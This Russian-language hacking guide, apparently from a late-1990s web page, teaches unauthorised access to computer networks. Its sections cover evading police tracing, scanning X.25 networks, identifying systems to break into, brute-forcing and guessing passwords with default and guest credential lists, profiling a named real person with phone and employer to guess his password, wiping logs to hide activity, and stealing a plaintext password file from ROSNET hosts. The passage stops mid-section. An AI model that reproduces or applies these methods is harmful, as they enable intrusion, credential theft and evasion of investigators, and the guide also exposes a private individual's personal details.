Сайт Nomad Mobile Research Center - "Передвижной исследовательский центр "Номад"" - предлагаетбезопасность Windows NT, руководство по взлому и защите от него, полезные программы, различная документация. На этом сервере также содержится страница проекта "Пандора", связанного со взломом сетевых систем компании Novell. В разделе "Compute" можно найти ссылки на сходные по теме сайты.
Здесь также располагается основная, официальная страница "Нового хакерского словаря". 


Искусство взлома. 

Хакинг - это искусство взлома всевозможных систем и доведение данного процесса до высот технического изящества. Хакер вооружается различными методиками, исходя из которых он строит собственную стратегию взлома той или иной программы. Зачем же быть хакером? Вы наверняка найдете для себя несколько причин. Для некоторых, например, это в первую очередь просто прекрасное развлечение. Но сейчас заниматься хакингом становиться все более опасно, поэтому будьте осторожны, даже если у вас нет противозаконных намерений. Это очень трудоемкое и к тому же рискованное дело. Так что будьте внимательны и не попадитесь.
Как не пойматься?
Жизнь прекрасна, только когда вы не попадетесь в руки спецслужб. Конечно, это зависит от того, чем вы занимаетесь. Но может получиться так, что вы все равно попадетесь, несмотря на беспрекословное выполнение следующих рекомендаций.
Некоторые операторы спецслужб очень настойчивы, и не остановятся, пока не вычислят и не прижмут вас к стенке. И если, как только вы берете трубку телефона, мгновенно подключаются модемы или если до вас доходят слухи, что друзья-приятели называют вас "хакером, на след которого напали спецслужбы", то лучше вам затаится на какое-то время и не заниматься взломом.
Существует несколько основополагающих моментов, которые обязан знать каждый, использующий модем при компьютерном взломе. Вы постоянно должны быть начеку и следить за появлением таких настораживающих явлений, как:
1. Необычные шумы на линии, при том, что обычно их не бывает. 
2. По телефонной линии прослушиваются другие голоса. 
Это иногда случается со старым оборудованием FDM, но может быть вызвано и ответвлением провода.
3. Появление фургона, припаркованного рядом с: 
а) телефонным столбом;
б) подземным паровым вентиляционным отверстием.
Если вы заметили что-нибудь из вышеуказанного, прекращайте все упражнения по крайней мере на месяц. И обязательно убедитесь, что фургон уехал, а не просто поменял место парковки.
Обратите внимание на провода, протянутые от фургона к телефонному столбу или вентиляционному отверстию. Также следует выяснить не принадлежит фургон телефонной компании.
4. Наличие незнакомого вам оборудования в нежилых комнатах вашего дома обязательно должно вас насторожить. 
5. С вашей телефонной линией происходит что-то странное, и вы уверены в том, что соседи не имеют к этому никакого отношения. 

Ответвление провода. 

На сегодняшний день этот способ вычисления хакеров остается самым распространенным. Выявить отклонение провода можно так. Если вы в состоянии позволить себе приобрести соответствующее оборудование, то сможете заниматься тем, что называется "чистка" телефонной линии. Еще во время телефонного разговора напряжение резко падает, то означает, что от вашего телефона ответвлен провод или кто-то подключился к линии. Возможные показания прибора:
Напряжение, которое должно вас насторожить - 90V при 20-30Hz
На линии - 30-50V
Среднее напряжение- 600V. В модеме может сгореть MOV. Обычно при таком напряжении телефонная сеть неисправна.

Определение номера. 

Спецслужбы используют еще один способ определения местонахождения хакера. На сегодняшний день вычисление телефонного номера стало доступным практически каждому. Недавно было обнаружено, что если набрать 33 на некоторых телефонах, то на аппарате высветится номер последнего звонка.
И полиция пользуется именно такими телефонами для вывода вас на чистую воду. Но все это, в основном, касается радиотелефонов, а не обыкновенных городских линий. Радиотелефонная связь всегда была известна своей надежностью, но, конечно же, не сейчас: Потому что такая телефонная станция - одно из самых лучших мест для занятия хакингом. Но лучше не предпринимайте ничего подобного в своем доме. Самое подходящее для хакинга время - ночь, когда дежурный оператор спецслужб наверняка спит.

Считывание RFI. 

Это один из новейших способов вычисления хакеров, но его-то не стоит бояться. Для выполнения он слишком сложен, и к тому же не всегда срабатывает. Особенно если вы находитесь в окружении телевизоров и мониторов. Считывание RFI осуществляется с помощью устройства, которое ловит слабые радиочастоты вашего монитора и переводит их в видеосигналы. И если это срабатывает, то оператор видит на своем компьютере изображения с вашего монитора. Все это, конечно, впечатляет, но этот оператор еще должен сначала поймать ваш сигнал.

Система ESS. 

Ко всем радостям прибавляется еще одна - Standardized Switching (или ESS). Когда ее вводили, то говорили, что она нужна для разгрузки телефонной линии. Но единственная цель этой системы - ловить хакеров. Это единственное к чему она предназначена, и надо сказать, что делает это она очень неплохо. С ее помощью телефонная компания может вычислить любой номер за 55 секунд. В системе регистрируются записи всех телефонных звонков, в том числе и местных. И даже если ваш телефон не исправен, то ваша попытка с него куда-то позвонить станет тут же известна полиции. Но эта система еще не конец света.

Хакерская этика.

Пока существует компьютер, существуют и хакеры. В 50-х годах в массачусетском институте технологии (MIT) студенты посвятили много времени и энергии изобретению компьютеров. Правила и закон игнорировались. Так как их привели в восторг итоги исследований, так наши исследования приводят в восторг и нас. Торжество хакера заключается не в нарушении закона, а в волнующем процессе исследования и накопления знаний. Некоторые рекомендации, чтобы не попасть в неприятное положение, но чтобы не повредить те компьютеры, которые станут объектом вашего профессионального внимания:
· Не вредить преднамеренно ни одной системе. 
· Не изменять никаких системных файлов, кроме необходимых вам для дальнейшего доступа (троянские кони, изменения в старых логах и т.п.) 
· Не оставлять никаких настоящих данных в системах, взломанных вами (перед использованием нового программного продукта по взлому необходимо проверить, не оставляет ли он ваш ID там, где вы побывали) 
· Не оставлять ваш реальный номер телефона никому, кого вы не знаете. 
· Не трогать правительственные компьютеры. 
· Наконец, вы должны понять, что можете прочесть все пособия в мире и прослыть знатоком, но пока вы не начнете реально работать, все ваши знания равны нулю. 
Одно из самых безопасных мест для начала хакерской карьеры - компьютерная система института. Университетские компьютеры имеют слабую защиту, и часто используются хакерами, поскольку каждый компьютер используется множеством людей, мало вероятно, чтобы вас реально вычислили среди юзеров, если вы были обнаружены.

наверх 
Сеть Telnet.. 

Лучшее место для тренировок начинающего хакера - одна из больших сетей типа Telnet. Почему? Во-первых, на сетях имеется огромное разнообразие компьютеров, есть из чего выбирать. Во-вторых, сети довольно хорошо продокументированы. Проще найти кого-то, кто может вам помочь с проблемой Telnet, чем искать помощи относительно вашего местного компьютера колледжа или средней школы. Третье, сети более безопасны. Из-за огромного числа запросов, которые приходят каждый день по большим сетям, фактически тяжело отследить, откуда и какой запрос сделан. Также очень просто маскировать ваше проникновение, используя сеть, которая делает ваше хобби намного безопасным.
Telnet имеет большое количество компьютеров, соединенных в сеть, чем любая другая система в мире, от Telnet вы можете иметь доступ к Tymnet, ItaPAC, Janet, DATAPAC, SBDN, PandaNet, THENET и целому набору других сетей.
Первый шаг, который вы должны сделать, идентифицировать ваш местный порт дозвона. Сначала вы получите подсказку, говорящую:
ТЕРМИНАЛ=
Это - ваш type терминала. Если вы имеете vt100 эмуляцию, напечатайте это в ответ на запрос. Или нажмите возврат, и она станет стандартной установкой для режима терминала ввода-вывода.
Теперь вы получите подсказку в виде значка @. В ответ напечатайте:
@c mail <cr>
и затем будет запрос об имени пользователя. Введите "phones" для имени пользователя. Когда система запросит пароль, введите снова "phones". Начиная с этого момента, это - управляемое меню. Используйте его, чтобы определить ваш общий dialup. Когда вы вызываете ваш local dialup, вы еще раз пройдете запрос:
ТЕРМИНАЛ=
и еще раз вы будете представлены перед @. Эта подсказка сообщает, что вы соединены с Telnet PAD. PAD обозначает или Ассемблер/дизассемблер пакета (если вы говорите с инженером), или Public Access Device (если вы говорите с представителями маркетинга Телнета). Первое описание более правильно.
Telnet работает, собирая данные, которые вы вводите на PAD с которым вы соединены, связывая информацию в куски по 128 байтам (обычно, но цифра может быть изменена), и затем передавая их на скорости в пределах от 9600 до 19200 бода на другой, который получает данные и передает их компьютеру или системе, с которой имеется соединение. Изначально, PAD позволяет соединить два компьютера, которые имеют различные скорости или протоколы связи, на длинном расстоянии. Иногда можно заметить запаздывание в отдаленном ответе машин. Это называется Задержкой PAD, и предназначено для ожидания, пока вы пошлете данные через несколько различных линков.
Что вы делаете с этим PAD? Вы используйте его, чтобы соединиться с отдаленными компьютерными системами, печатая "С" для соединения и затем Сетевой Адрес Пользователя (NUA) системы, к которой вы хотите идти.
Если нет возможности соединения, вы получите сообщения типа:
refused collect connections
в сопровождении кодов ошибки, идущих справа, и система вернет вас в @ prompt.
Имеются два пути, чтобы двигаться в обход сообщения - Refused Collect. Первый - использование сетевого ID пользователя (NUI). NUI - это имя пользователя/pw комбинация, которая подобно кредиту по открытому счету на Telnet.
Второй способ соединение состоит в том, чтобы использовать частный PAD или через что-нибудь подобное Netlink от Главного компьютера. Префикс в Telnet NUA часто (но не всегда) относится к телефонному коду города, где находится компьютер (то есть, 713ххх обозначало бы компьютер в Хьюстоне, штат Техас). Если специфическая область, интересующая вас, например Нью-Йорк (код 914), вы можете набрать:
@C 914 001 <cr>
Если соединение прошло, вы получите сообщение об этом и перейдете к 914 002. Делайте это, пока не найдете интересных систем для занятия ими.
Не все системы находятся на простом ххх ууу адресе. Некоторые составлены из четырех или пяти цифр (914 2354), а некоторые имеют десятичные или числовые расширения (422 121А = 422 121.01). Вы можете заниматься ими, но вы никогда не знаете, что можете найти.
Полное сканирование префикса займет десять миллионов вариантов. Например, если нужно просмотреть 512, то необходимо начать с 512 00000.00 и пройти до 512 00000.99, а затем увеличить адрес на 1 и пройти от 512 00001.00 до 5120001.99.
Имеется множество компьютеров для просмотра с тремя номерами, так что не стоит заниматься безумством с большими расширениями.
Иногда при попытке соединения будет проходить одна или две минуты ожидания. В этом случае, вы можете прервать связь посредством жесткого разрыва, затем, после того, как вновь система выдаст
@ prompt
Наберите "D" для отсоединения.
Outdials.
Кроме компьютеров, NUA может подключить вас к некоторым другим вещам.
Одна из наиболее полезных - outdial. Outdial, это не более чем модем, которым можно заняться по telnet - подобно концепции преследования PC, за исключением того, что тут не используются пароли.
После соединения, вы получите сообщение, подобное
Hayes 1200 bode outdial, Detroit, MT
или
VEN-TEL 212 Modem
или, возможно
Session 1234 established on Modem 5588
Лучший способ выяснить команды состоит в том, чтобы напечатать "H" или "Help" - это даст вам всю информацию, которая вам необходима.
Подсказка по безопасности: когда будете взламывать какую-нибудь систему через телефонный дозвон, всегда используйте outdial или diverter, особенно, если это местный номер. Многие люди занимаются хакингом на местных компьютерах.
Другая хорошая уловка, которую вы можете применить с outdial - использования повторного набора или функцией макрокоманды, которую многие из них имеют. Первая вещь, которую надо сделать после соединения, вызвать "Повторный набор последнего номера" (Redial last number). Это будет номер того человека, который использовал канал до вас. Запишите его, поскольку никто не вызвал бы номер без наличия компьютера на нем. Это - хороший способ найти новые системы для хакинга. Для VENTEL-модема наберите "D", и вам будет показано пять номеров, сохраненных как макрокоманды в памяти модема.
И наконец, вы можете соединяться с тем, что называется "X.25 Communication PAD", получив несколько больше материала, сопровождаемого подсказкой @. Это PAD точно такой же как тот, с которым работаете вы, за исключением того, что все предпринятые подключения объявляются PAD, позволяя вам соединяться теми узлами, которые ранее отказались от подключения.
Когда пакет передан от Pad к Pad, он содержит заголовок, в котором размещена информация о вашем местоположении. Например, когда вы вначале соединяетесь с Telnet, вам может быть сообщено
212 44A Connected
если вы звоните с кода города 212. Это означает, что вы вызвали номер 44A PAD в 212 области.
21244A будет поставлено на заголовке всех отправляемых пакетов.
Как только вы соединяетесь с частным PAD, все пакеты, выходящие от вас будут иметь этот адрес на них, но не ваш. Это может быть достаточным буфером между вами.

наверх 
Идентификация ОС. 

Не имеет значения, как вы нашли компьютер, это могло произойти через сеть, или могло при помощи сканирования телефонного префикса вашей университетской сети. Здесь не будет объясняться, что можно сделать, как только вы окажитесь внутри какой-либо операционной системы. Здесь будет рассказано как идентифицировать и распознать некоторые операционные системы и как приблизиться к хакингу в них, как иметь дело с тем, чего вы никогда не видели прежде.
VMS.
VAX компьютер создан Digital Equipment Corporation (DEC), и выполняет VMS (виртуальная система памяти) операционную систему.
VMS определяется по подсказке:
USENAME
Она не будет сообщать вам, если вы ввели неправильное имя пользователя, и отсоединит вас после трех неудачных попыток входа в систему. Также она следит за всеми неудачными попытками входа в систему и сообщает владельцу учетную запись при его следующем выходе в сеть.
Это - одна из наиболее безопасных операционных систем, что касаемо защиты от внешнего проникновения, но и здесь имеется много уловок для обхода защиты. VAX также имеет лучший набор справочных файлов. Только наберите "HELP" и читайте.
DEC-10.
DEC-10 более ранние модели оборудования компьютера DEC, запускающие TOPS-10 операционную систему. Эти машины могут быть опознаны по подсказке ".".
Серия DEC-10/20 весьма дружественна к хакерам, позволяя ввести несколько важных команд без какой-либо регистрации в системе. Отчетность находится в формате [xxx, yyy], где xxx и yyy - целые числа. Вы можете получить листинг отчетности и имен процесса каждого на системе перед регистрацией при помощи команды .systat (для системного состояния). Если учетная запись читается как [234, 1001] BOB JOINS, то можно попробовать набрать BOB или JOINS или эти два слова вместе для пароля на этой учетной записи. Чтобы войти вы печатаете:
.login xxx, yyy
и затем, после запроса набираете пароль.
Система позволит вам неограниченные попытки проникновения и не сохранит отчеты о неудачных попыток входа в систему. Также она сообщит вам, если UIC, который вы пробуете (UIC - код идентификации пользователя) не правилен.
UNIX.
Имеется множество различных машин на которых установлен UNIX.
В то время как некоторые могли бы доказать, что это не лучшая операционная система в мире, она наиболее широко используема. Система UNIX будет обычно выдавать подсказку наподобие
login:
в строчных буквах. UNIX также даст вам неограниченные попытки при регистрации (в большинстве случаев), и не имеется обычно никакого журнала, сохраняющего неудачные попытки.
Prime.
Компьютеры фирмы Prime, как правило, используют операционную систему Primos. Ее очень просто определить по надписи:
Primecon 18.23.05
или чего-то подобного, в зависимости от версии операционной системы. Обычно система не будет предлагать никакой подсказки. Там, где появилась эта надпись, наберите
login <username>
Если это версия до 18.00.00 Primos, вы можете нажимать связку ^C для пароля. К сожалению, большинство людей использует версии 19+. Primos также располагает хорошим набором справочных файлов. Одна из наиболее полезных особенностей Prime на Telnet - устройство NETLINK. Как только вы - внутри, напечатайте "NETLINK", и следуйте указанием справки. Это позволит соединяться с NUA'S во всем мире используя команду "nc".
Например, чтобы соединиться с NUA 026245890040004, вы должны набрать
@nc: 026245890040004
в подсказке netlink.
HP-x000.
Эта система сделана Hewlett-Packard. Их характерная подсказка ":".
HEWETT-PACKARD имеет одну из более сложных последовательностей входа в систему извне - вы набираете:
HELLO SESSION
NAME, USERNAME, ACCOUNTNAME, GROUP
Некоторые из этих полей могут быть оставлены пустыми во многих случаях. Так как любые или все эти поля могут быть запаролены, это не самая простая система для проникновения, если бы не факт, что имеется обычно некоторая отчетность вокруг без паролей. Вообще, если значения по умолчанию не работают, вы будете должны применить грубую силу, используя обычный список пользователей. Hp-x000 выполняет MPE операционную систему, подсказка для нее будет ":", точно так же как подсказка входа в систему.
IRIS.
IRIS создан для Interactive Real Time Information System (интерактивная информационная система в режиме реального времени). Первоначально она выполнялась на PDP-11'S, но теперь выполняется на многих других мини ЭВМ. Вы можете определить Айрис по заголовку
Welcome to "IRIS" R9.1.4 Timesharing
и подсказке
ACCOUNT ID?
Iris позволяет неограниченные попытки при хакинге, и не сохраняет никаких журналов неудачных попыток.
VM/CMS.
VM/CMS - операционная система, выполняемая в IBM. Когда вы соединяетесь с одной из них, вы получите сообщение, наподобие
VM/370 ONLINE
затем подсказку ".". Чтобы войти, наберите:
LOGIN <username>
NOS.
NOS созданы для Networking operation system, и выполняются на компьютере Cyber, созданном Control Data Corporation. NOS идентифицируют себя с готовностью, с заголовком
Welcome to the NOS Software System. Copyright Control Data 1978, 1987
Первая подсказка, которую вы получите, будет
Family:
В ответ нужно нажать return, тогда вы получите подсказку
user name:
Имена пользователя - типичные 7 символов буквенно-цифрового характера. Отчетность оператора начинается с цифры, типа 7ETPDOC.
Decserver.
Это не совсем компьютерная система, это скорей сетевой сервер, который имеет много различных машин, доступных с его помощью. Decserver может сказать:
Enter Username>
после первого соединения. Это только идентификатор. Напечатайте "c", поскольку это - наименее заметная вещь для ввода. Тогда вы можете получить подсказку
Local>
Наберите здесь:
c <systemname>
чтобы соединиться с системой. Для получения списка системных имен, напечатайте
sh servises
или
sh nodes
Если у вас есть какие-то проблемы, встроенная подсказка доступна по команде "help". Ищите услуги по имени "modem" или "dial" или что-то подобное, они часто могут быть полезны.
GS/1.
GS/1 - другой тип сетевого сервера. В отличии от Decserver, вы не можете предсказать то, какую подсказку GS/1 шлюз собирается дать вам. Стандартная подсказка
GS/1 >
но это предназначено для системных администраторов. Чтобы тестировать GS/1, набирайте
sh d
Если появиться большой список значений по умолчанию (скорость терминала, подсказка, четность и т.д.), можно смело сказать, что вы находитесь на GS/1. Вы соединяетесь тем же самым способом как и с Decserver, печатая:
C <systemname>
чтобы выяснить, что системы являются доступными, наберите
sh n
или
sh C
Все вышеупомянутое - это главные типы систем, используемые сегодня. Имеются сотни вариантов этих систем, но написанного здесь должно хватить, чтобы дать вам возможность начать.

наверх 
Список программ. 

Ниже приведен список программ для начинающего хакера. Эти программы не сделают из вас хакера и использование их необязательно для того, чтобы стать им. Эти инструменты (программы) помогут вам узнать много полезного и необходимого.
ToneLoc v1.10.
Эта программа является сканером. Задача этой программы просканировать местную телефонную линию на наличие модема на другом конце.
Cracker Jack v1.4.
Крекер паролей. Эта программа работает под DOS и задача ее состоит в нахождении и взломе пароля под UNIX.
Hacker's Utility v1.02.
Эта программа включает в себя множество полезных утилит. В нее входит:
· крекер паролей
· генератор паролей
· post scanner
· finger lookup
· file extractor и многое другое...
CyberKit v2.4.
В этой программе есть:
· TraceRoute
· Whols
· Finger
· Name Server Lookup
· Time Synchronizer
· Quote of the Day и многое другое...
PGP Freeware v5.0.
Эта программа предназначена для шифрования информации.
7th Sphere PortScan v1.1.
Полезный и очень быстрый сканер портов. Очень прост в установке и работе.
А теперь два главных правила:
1. Что бы стать хакером понадобится много времени. Чтобы научиться чему-нибудь есть только один путь - вы должны читать и еще раз читать. Со временем у вас будут появляться вопросы, тогда задайте их тому, кто знает, например на крэкерских и хакерских форумах.
2. Изучайте программирование, язык скриптов, а предпочтительнее языки под UNIX (C++, Perl, JavaScript и другие). Так же следует изучать OS UNIX, протоколы TCP/IP.

Вместо примера (или как ломалась сеть РОСНЕТ). 

Несколько основных положений.
1. Для начала вы должны осознать, что ничего серьезного лучше не хакать (либо делать это очень осторожно), так как вас могут очень быстро найти. У администратора системы высвечивается куча всякой информации. С помощью этой информации, он легко определяет город, из которого вы вошли в Роснет, а также номер узла и номер канала, по которому вы вошли, так же возможно определить и промежуточную сеть, из которой вы вышли в Роснет. А зная город, не составит большого труда найти и абонента, который в этот промежуток времени висел на номере входа в Роснет. Можно, конечно, войти сначала в одну сеть, из нее в другую, а потом в третью и т.д., а потом в Роснет, и это бесспорно замедлит поиск, но не исключит его.
2. Заниматься своим "темным" делом вы должны с 20:00 (не ранее) до 00:00 часов местного времени. Так как в это время админы уже не работают, а следовательно не следят за системой. Но иногда админы работают круглосуточно. А выйти до 00:00 нужно потому, что Ремарт регистрирует дату последней связи, а в 00:00 вся информация обнуляется. Обнулить информацию можно и другим способом - повесив Ремарт. Так же следует помнить, что во многих системах производится закрытие хоста на ночь (обычно это период 00:00 - 03:00). Никогда не пытайтесь что-нибудь сломать днем или утром, все ваши попытки будут пресечены, а если админ сильно рассердится, то и демо-вход закроет.
3. Перед тем, как что-нибудь хакать войдите на хост под гостевым паролем (если такой имеется) и сразу же введите "/u", чтобы убедиться, что в данный момент в системе нет админа, или лиц к нему приближенных. Как только убедились, что админа нет, вводите "/r", чтобы посмотреть, насколько давно админ был в системе. Если все OK - приступайте:
4. Если вы зашли в систему, попытайтесь залезть в директорию админа системы
GO ADMIN
редко, но иногда получается, если спросят пароль - попытайтесь подобрать (хотя админы любят абсолютно "левые" крутые пароли). В директории админа есть куча файлов с наиполезнейшей информацией.
5. Пробравшись под взломанным логином в меню регистрации, ни в коем случае не меняйте пароль абонента и не переводите его деньги на другой счет. Админ это обязательно заметит, и примет меры.
6. После того, как вы лазили под чьим-то логином, обязательно перезайдите под гостевым входом n-е количество (везде по-разному) раз. Этим вы забьете информацию о входивших пользователях - "/r" будет показывать, что последние десять раз входил "гость".
7. Если вы делали что-то, что другим знать необязательно, повводите какой-нибудь макрос (примерно раз тридцать). Этим вы исключите просмотр выполнявшихся вами команд по "/e?".
Как найти выход в РОСНЕТ.
Номер телефона Роснета вы можете узнать очень просто - из списка телефонов Роснета по СНГ. Но возможно, что указанные номера телефонов уже не являются выходом в Роснет, так как их могли по какой-нибудь причине сменить. В этом случае, вы можете заняться сканингом. То есть взять скрипт или соответствующую программу и перебрать номера в городе на предмет коннекта.
Определение системы и обнаружение гостевого входа.
Для большинства хаков вам нужно иметь хотя бы минимальный доступ на хосте. Поэтому мы решили начать именно с этого. Итак, допустим у вас есть горка адресов разных хостов, что же делать дальше? Нужно проверить работоспособность этих адресов, выяснить какая система там установлена, уровень его защищенности и имеет ли этот хост гостевой вход.
И так, допустим вы зашли на какой-нибудь приглянувшийся вам хост.
Систему можно определить конечно же по приглашению.
Примеры приглашений свойственных той или иной системе:
Ремарт.
Display ANSI graphics ([Y]/N)? >
[...Какой-нибудь текст (его может и не быть)...]
UserID:
Password:
Дионис.
ENTER YOUR NAME =>
PASSWORD =>
LANGUAGE =>
REX400.
Logical Channel: 0
REX400 v4.54.02, Copyright (C) 1992-1996, Club400 Ltd.
<<<WELCOME TO REX400 ADMD=REX400 PRMD=RTS>>>
^^^^^^^
M) Mail H) Help G) GateWay Q) Quit
Multi Host>
CISCO-Маршрутизатор.
User Access Verification
Password:
Если вы обнаружите Ремарт, начинайте проверять хост на наличие гостевого входа, пробуйте следующие комбинации:
(UserID/Password):
Demo/Demo Test/Test Guest/Guest Gast/Gast Gost/Gost User/User
Demo/Guest Test/Guest Guest/Test Gast/Demo Gost/Demo User/Demo
Demo/Test Test/Demo Guest/Demo Gast/Guest Gost/Guest User/Guest
Demo/Gast Test/Gast Guest/Gast Gast/Test Gost/Test User/Test
Demo/Gost Test/Gost Guest/Gost Gast/Gost Gost/Gast User/Gast
Demo/User Test/User Guest/User Gast/User Gost/User User/Gost
Demo/New Test/New Guest/New Gast/New Gost/New User/New
Demo/Temp Test/Temp Guest/Temp Gast/Temp Gost/Temp User/Temp
New/New Temp/Temp
New/Demo New/Test New/Guest New/Gast New/Gost New/User
Temp/Demo Temp/Test Temp/Guest Temp/Gast Temp/Gost Temp/User
Перепробуйте так же все приведенные комбинации, добавляя цифры, например:
Deno1/Demo1
и т.д., потом попробуйте просто перечисленные логины без паролей. Для ускорения этого процесса используйте скрипт. В среднем за ночь один хост (при помощи скрипта) вы "проштудируете".
Если гостевого входа нет.
Если демо-вход не обнаружено, то попробуйте следующее:
UUCP/UUCP
этот пароль стоит в Ремарте по умолчанию и часто админы забывают его сменить.
UUCP/PCUU
Возможно пароль будет такой:
UUCP/UUADMIN
А может и такой.
В общем пофантазируйте, может быть что-нибудь получиться. Если это не помогло, то попробуйте следующее:
Alex/Alex Luda/Luda Boris/Boris Yura/Yura Olga/Olga Alexey/Alexey Dima/Dima Dmitry/Dmitry Nik/Nik Elena/Elena Lena/Lena и т.д.
Если ничего не получилось, то хост неплохо защищен и чтобы хакнуть его вам придется потрудиться.
Как узнать ID.
Если вы вошли в систему, попытайтесь узнать список пользователей данного хоста.
Узнать список можно, если попасть в меню "Регистрация". В этом меню можно ознакомиться с полным списком абонентов данного хоста. Если через меню вход закрыт, попробуйте так:
go reg
или
go registry
или
go onboard1
onboard - раздел регистрации.
Для того, чтобы узнать имя раздела нужно попасть в раздел MAIN (GO MAIN или через меню системы пункт "Библиотека" и вызвать дерево директорий TREE, либо TYPE LIB или TYPE LIBS или TYPE LIBTREE.
1 - номер меню "Список абонентов".
Совсем недавно был замечен глюк, в частности на 6100255 список абонентов можно было узнать, просто скачав дерево директорий, там для каждого пользователя системы был создан одноименный каталог, к сожалению, этот глюк быстро закрыли.
Если список взять не удалось, придется доставать ID другим способом. Залезьте в библиотеку и там, исходя из того, что к каждому файлу пишется имя абонента, можно получить несколько ID. Теперь если есть доступ к почте, таким же образом можно посмотреть ID авторов писем. Если этих ID вам мало, можно, орудуя /u и /r "выловить" еще 10-15 ID. Потом вызывайте паспорта найденных абонентов (/a <имя_абонента>). "Сграбьте" их в один файл. Теперь вы располагаете достаточной информацией о пользователях - можно приступать к подбору пароля.
Подбор пароля.
Если вас не устраивают ваши полномочия, попробуйте подобрать пароль у какого-нибудь другого пользователя.
Подбор бывает трех типов:
1 - Подбор паролей по словарю (словарный метод);
2 - Перебор (подбор пароля путем перебора);
3 - Интеллектуальный подбор (подбор с использованием дополнительной информации и о пользователях.
Для первых двух способов подбора вы можете использовать скрипт, или осуществлять все действия "руками", первое, как вы понимаете, предпочтительнее. Третий способ придется осуществлять "ручками".
Ниже приводятся некоторые сведения, которые помогут вам при подборе пароля:
· Большим недостатком Ремарта является то, что большие и малые регистры не различаются.
· Логин и пароль могут совпадать.
· Пароль может быть из трех символов.
· Пароль не может превышать 8 символов.
· Неограниченное количество попыток при вводе пароля.
· Несомненно вам помогут списки пользователей хоста.
Неограниченное количество попыток при вводе пароля.
Итак, чтобы на перебор паролей затрачивалось меньше времени, то есть, чтобы вам предоставлялось неограниченное количество попыток при вводе пароля, нужно сделать следующее.
Ваш друг заходит на хост (допустим под логином Demo и паролем Demo). После того, как он зашел на хост под Demo/Demo, вы тоже начинаете пытаться зайти на этот хост под тем же логином. Вам сообщают следующее (или что-то вроде этого):
Абонент с таким логином уже работает в системе!
Если Вы не знаете, кто бы это мог быть, и если это действительно Ваш логин, то срочно обратитесь к администоатору системы за разъяснениями.
Вы можете позвонить по телефону 206-85-70 или 924-74-85.
И снова просят ввести ID и Password. Повторяете вышеуказанное три раза (используете три попытки). И после этого можете пробовать любые логины с любыми паролями бесконечное число раз!
К сожалению, как и многие другие "дыры", эту тоже кое-где прикрыли. Так что она проявляется не везде.
Интеллектуальный подбор пароля.
Итак, у вас есть несколько (или все) ID на интересующем вас хосте, так же у вас есть паспорта этих ID. Самое время приступить к интелектуалному подбору паролей.
Возьмем произвольного абонента:
Логин Фамилия/Имя Отчество/
Телефон /Фирма /Город
Ukrpack Лазарев/Андрей Михайлович/
(0482) 33-31-78/СП "ТЕЛНЕТ"/г.Одесса
Поехали:
Ukrpack/Ukrpack
Ukrpack/Kcaprku - наоборот
Ukrpack/ Andrew - имя
Ukrpack/Andy - имя
Ukrpack/Andrey - имя
Ukrpack/Fylhtq - имя (русскими буквами на английском регистре)
Ukrpack/Kfpfhtd - фамилия (русскими буквами на английском регистре)
Ukrpack/Vb[fqkjdbx - отчество (русскими буквами на английском регистре)
Ukrpack/Lam - ФИО
Ukrpack/Aml - ИОФ
Ukrpack/Mal - ОИФ
Ukrpack/Lma - ФОИ
Ukrpack/333178 - телефон
Ukrpack/Telnet - фирма
Ukrpack/Ntkytn - фирма (русскими буквами на английском регистре)
Ukrpack/Odessa - город (кстати, именно такой пароль и был)
Ukrpack/Jltccf - город (русскими буквами на английском регистре)
Так же проходимся по все остальным логинам, пять-шесть "лопухов" - это практически гарантия.
Еще кое-что о подборе паролей.
Самый лучший результат от подбора вы получите совместив все три способа. Сначала перебором перебираете варианты паролей от трех до пяти (включительно) символов. Пароли более большей длины вам врят ли удастся перебрать, так как количиство комбинаций расчитываеться по следующей формуле:
X=S№
где X - количество комбинаций, S - число символов используемых для перебора, и № - число символов в пароле. Поэтому после того, как вы перебрали все пароли в диапазоне от трех до пяти символов, вы точно знаете, что пароль состоит из шести и более символов (в противном случае вы его подобрали).
Приступайте к подбору по паспорту абонента, если все еще не удалось подобрать пароль, начинайте перебор по словарю с "плохими паролями" (типа "qwerty" и "secret") удалите из него трех, четырех и пятисимвольные пароли (так как вы их уже перебрали) и приступаете к перебору и помните - главное терпение.
Как узнать пароль абонента посредством "/U".
Также пароль можно можно узнать следующим способом:
· Зайдите на хост.
· Залогиньтесь под любым логином.
· Включите в своей "терминалке" функцию Capture. И вводите:
/u
/u
...
/u
Если вам повезет, то какой-нибудь юзер-остолоп в спешке введет вместо ID свой пароль, и он у вас благополучно зафиксируется в Сар'е.
Лучше всего вышеуказанную операцию производить при помощи скрипта.
Как узнать пароль абонента посредством "/Е ?".
Интересной возможностью Ремарта, является команда /е?. Эта команда выводит список предыдущих команд. Посмотрев их, часто можно узнать много интересного.
Кардинально новый способ взлома логика.
Имеется одна интересная особенность узла РОСНЕТ: если войти в какой-нибудь хост и наглым образом обломать связь, т.е. вырубить модем или перегрызть провода, а потом сразу после этого позвонить на узел, то оказывается, что ты опять в том-же хосте. Вот это и является основным ключом метода!
Самое главное - это дождаться пока какой-нибудь несчастный позвонит на роснетовский модем. Иногда это ожидание оказывается самым тяжким. Если-же вы все же дождались этого момента, то прежде всего надо убедиться, что это не кто-то из друзей лезет куда-то под гостем. Теперь необходимо позвонить в "Бюро ремонта ГТС" и попросить срочно проверить номер N (т.е. номер РОСНЕТ'а) и тут-же пытаться дозвониться на него. На ГТС увидят, что номер N занят и просто обломают ему коннект в качестве профилактического действия. Если вам повезло, то у того юзера, которого вы обломали, есть опция "Регистрация", а там вы можете посмотреть пароль нажатием кнопки "Z" (это для Ремарт систем).
У этого метода есть один большой недостаток: все это нужно делать в будничный день, в часы работы "Бюро ремонта ГТС", т.е. днем, когда любой нормальный хакер спит...
Как получить USRACC.DAT.
Интересной особенностью Ремарта является то, что имена и пароли юзеров хранятся в файле dat\usracc.dat в незашифрованном виде, а это значит, что, если "уволочь" этот файл, из него можно почерпнуть множество интересного.
Но существенной преградой является то, что обычно (если, конечно, админы не лопухи) каталог, где хранится Ремарт, не попадает в доступные разделы библиотеки. Чтобы его достать, необходимо иметь приоритет не ниже 30000 (вернее, приоритет определяется конфигурацией данного Ремарта и может быть изменен).
Чтобы "уволочь" usracc.dat можно использовать один из следующих способов.
Способ 1.
Если вы знаете полный путь к файлу usracc.dat, то забрать этот файл не составит труда (местонахождения usracc.dat часто можно выудить из файла структуры библиотеки в виде дерева).
Напишите письмо к самому себе, с аттачем в виде полного пути к useracc.dat на хосте. При совпадении определенных событий может прийти (должны быть заняты каналы!) не все, но загруженность должна быть велика. Данная "фича" на 6100255 не работает.
Способ 2.
